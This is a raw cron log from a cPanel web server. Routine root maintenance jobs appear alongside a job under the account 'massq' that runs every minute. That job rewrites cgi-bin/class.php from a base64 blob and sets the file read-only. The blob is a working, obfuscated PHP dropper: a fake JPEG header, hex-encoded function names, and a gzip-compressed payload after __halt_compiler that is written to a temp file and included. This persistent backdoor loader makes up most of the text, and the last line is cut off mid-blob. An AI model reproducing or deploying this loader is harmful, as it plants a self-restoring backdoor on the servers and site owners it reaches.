Apr  9 10:11:01 server CROND[22406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:12:01 server CROND[22458]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 10:12:01 server CROND[22459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:13:01 server CROND[22560]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:14:01 server CROND[22614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:15:01 server CROND[22676]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 10:15:01 server CROND[22677]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 10:15:01 server CROND[22678]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  9 10:15:01 server CROND[22679]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:16:01 server CROND[22899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:17:01 server CROND[22976]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:18:01 server CROND[23040]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:19:01 server CROND[23108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:20:01 server CROND[23166]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 10:20:01 server CROND[23168]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 10:20:01 server CROND[23171]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 10:20:01 server CROND[23169]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 10:20:01 server CROND[23170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:21:01 server CROND[23281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:22:01 server CROND[23426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:23:01 server CROND[23481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:24:01 server CROND[23533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBq